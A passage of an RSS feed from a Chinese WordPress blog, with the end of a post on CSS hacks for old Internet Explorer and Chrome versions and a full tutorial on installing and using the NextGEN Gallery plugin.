<p>#test{<br />
color:red; /* 所有浏览器都支持 */<br />
color:red !important;/* Firefox、IE7支持 */<br />
_color:red; /* IE6支持 */<br />
*color:red; /* IE6、IE7支持 */<br />
*+color:red; /* IE7支持 */<br />
color:red\9; /* IE6、IE7、IE8支持 */<br />
color:red\0; /* IE8支持 */<br />
}</p>
<p>body:nth-of-type(1) p{color:red;} /* Chrome、Safari支持 */</p>
<p>今天安装了下传说中的谷歌浏览器。在线安装地址：<a href="http://www.google.com/chrome/eula.html?extra=devchannel" target="_blank">请点我 谷歌浏览器安装</a>。</p>
<p>基本上兼容问题不大，但是还有细微的问题。直接用body:nth-of-type(1) p{color:red;}语句小兼容了下……</p>
<p>具体的兼容方法，网上相关内容很少。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/chrome-css/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress相册插件NextGEN Gallery使用</title>
		<link>http://www.nuanche.com/nextgen-gallery</link>
		<comments>http://www.nuanche.com/nextgen-gallery#comments</comments>
		<pubDate>Tue, 02 Feb 2010 23:10:30 +0000</pubDate>
		<dc:creator>飘雨云翳</dc:creator>
				<category><![CDATA[网页应用]]></category>
		<category><![CDATA[NextGEN Gallery]]></category>

		<guid isPermaLink="false">http://www.nuanche.com/?p=622</guid>
		<description><![CDATA[突然要用到图集的功能，就在网上搜索了下，找到了这个插件，用起来相当不错的一款插件NextGEN Gallery，功能很强大，提供了很完美的照片管理方法，操作并不复杂，只是要熟悉下最基本的。下面我将介绍一下这个插件的安装和一些使用时可能出现的问题。

NextGEN Gallery可实现的功能

1、可以通过拖拉进行相册的排序，跟 widget 一樣样，你想要怎么排序用拉就可以，所见既所得 !

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nuanche.com/wp-content/uploads/2010/02/ngg1.jpg"><img class="size-thumbnail wp-image-623 alignleft" title="NextGen gallery" src="http://www.nuanche.com/wp-content/uploads/2010/02/ngg1-150x150.jpg" alt="NextGen gallery" width="150" height="150" /></a>突然要用到图集的功能，就在网上搜索了下，找到了这个插件，用起来相当不错的一款插件NextGEN Gallery，功能很强大，提供了很完美的照片管理方法，操作并不复杂，只是要熟悉下最基本的。下面我将介绍一下这个插件的安装和一些使用时可能出现的问题。</p>
<p><strong>NextGEN Gallery可实现的功能</strong></p>
<p>1、可以通过拖拉进行相册的排序，跟 widget 一樣样，你想要怎么排序用拉就可以，所见既所得 !<br />
2、浮水印功能，可在照片上加上文字或图片<br />
3、可以上传图片的压缩文件 (zip)，或直接导入图片的文件夹，懒人的最爱，省去上传的时间。<br />
4、內建 JavaScript 效果 ，Thickbox，Greybox or Lightbox ，效果很炫。<span id="more-622"></span><br />
5、可自己编辑CSS文件，通过 css 你可以打造属于自己的相册风格 !!<br />
6、Slideshow – 自动播放图片，还有许多变化效果。<br />
7、Sidebar Widget – 随机显示图片的 widget ，可以显示在 sidebar 內。<br />
8、可以在文章内调用图片，与附件完美整合到编辑页面的选择栏内，太方便了。</p>
<p><strong>下载安装NextGEN Gallery</strong></p>
<p><a href="http://wordpress.org/extend/plugins/nextgen-gallery/">http://wordpress.org/extend/plugins/nextgen-gallery/</a><br />
<a href="http://downloads.wordpress.org/plugin/nextgen-gallery.zip">http://downloads.wordpress.org/plugin/nextgen-gallery.zip</a></p>
<p>插件的官方网站：<br />
<a href="http://alexrabe.boelinger.com/?page_id=80">http://alexrabe.boelinger.com/?page_id=80</a></p>
<p><strong>下载后，开始安装</strong></p>
<p>1、把NextGEN Gallery传到wp-content/plugins目录；<br />
2、最后还有一步很重要的是：用FTP在wp-content目录里建一个gallery的文件夹，并且把它的权限设置为777（这是插件默认的目录，事实上你可以在选项里更改这个目录）。</p>
<p>传好这些文件之后，到后台激活NextGEN Gallery插件，这时，在后台管理的菜单上会多了一个“图集”的 选项，这个就是NextGEN Gallery的控制面板了。</p>
<p><strong>NextGEN Gallery的使用</strong></p>
<p>NextGEN的相册结构基本是由Gallery和Album组成，Gallery包含你要归类的一些图片，例如把每个月的照片作为一个 Gallery，例如“8月”和“12月”等等。而Album则包含一些相关的Gallery，把每个月的相册整理为一个Album，取名“2009”， 然后把各个Gallery添加进来并排序。换句话说，我们可以根据需要新建数个Gallery，也可以建立几个Album，把图片分类好上传到各个 Gallery并加入到合适的Album。</p>
<p>1.选择图集选项卡——“新增图集/图片”-&gt;“新增图集”，这里给新图集取名为“fengjing”，确定。<br />
注意：这时候，在你的根目录wordpress\wp-content\gallery下，就会生成一个名为“fengjing”的新文件夹，用来存放你 即将上传的图片。上传图片有三种方式，分别是“上传ZIP压缩文件”、“导入图片目录”、直接“上传图片”。大家可以选择自己喜欢的方式上传图片，到这 里，你的图集就创建好了，但是想让它显示，还需要接着来。</p>
<p>2.选择相册选项卡，新增相册“Album”。然后选择这个相册，左边你会看见相册的相册“ID 1 : Album” （这里是Album ID），中间你会看到你所有的图集“ID:  1| fengjing” （这里是Gallery ID），你只需要把你需要的图集拖拽到左边的相册中即可。完了别忘了点击”更新“。</p>
<p>3.新建一个页面，取名“Album”，内容填写</p>
<p><span style="color: #ff9900;">[ album=1,extend ]或[ album=1,compact ]</span></p>
<p>“album=1”中1是第二步的相册ID。compact和extend是简介展开的两种方式，更多的参数调用方法请到插件的官方演示网站查看：<a href="http://nextgen.boelinger.com/">http://nextgen.boelinger.com/</a></p>
<p><strong>如何在侧栏或任意页面动态显示相册照片</strong></p>
<p>安装NextGEN Gallery后，会在在小工具选项卡出现 “NextGEN 幻灯片”、“NextGEN 资讯”以及“NextGEN Gallery 小工具” 三个可用Widgets，可以随意选择合适的Widgets安放到Sidbar中去。</p>
<p>如果想要在任意页面中插入幻灯显示的相册照片，也可以按照如下格式，插入php代码：</p>
<p><span style="color: #ff9900;">&lt;?php<br />
if (function_exists(’nggSlideshowWidget’))<br />
{nggSlideshowWidget($galleryID,$Width,$Height);}<br />
?&gt;</span></p>
<p>参数说明：<br />
$galleryID : 相册编号<br />
$Width : 宽度<br />
$Height : 高度</p>
<p>如果说想显示相册编号为 3，宽度为 320 px ，高度为 240 px，插入以下代码就可以了：</p>
<p><span style="color: #ff9900;">&lt;?php<br />
if (function_exists(’nggSlideshowWidget’))<br />
{nggSlideshowWidget(3,320,240);}<br />
?&gt;</span></p>
<p>（运行时可能会提示下载flash文件，需要的可以下载。）</p>
<p><strong>如何在一个页面显示多个分类图集</strong></p>
<p>新建页面&#8211;点击图集标志（在右上角，编辑按钮的第一排最右边会有一个图集标志）&#8211;插入图集1，继续插入图集2……</p>
<p>WP相册插件NextGEN Gallery已经安装设置完毕。当然这款插件有很多功能，有时间的wp爱好者，可以花时间研究下……</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanche.com/nextgen-gallery/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
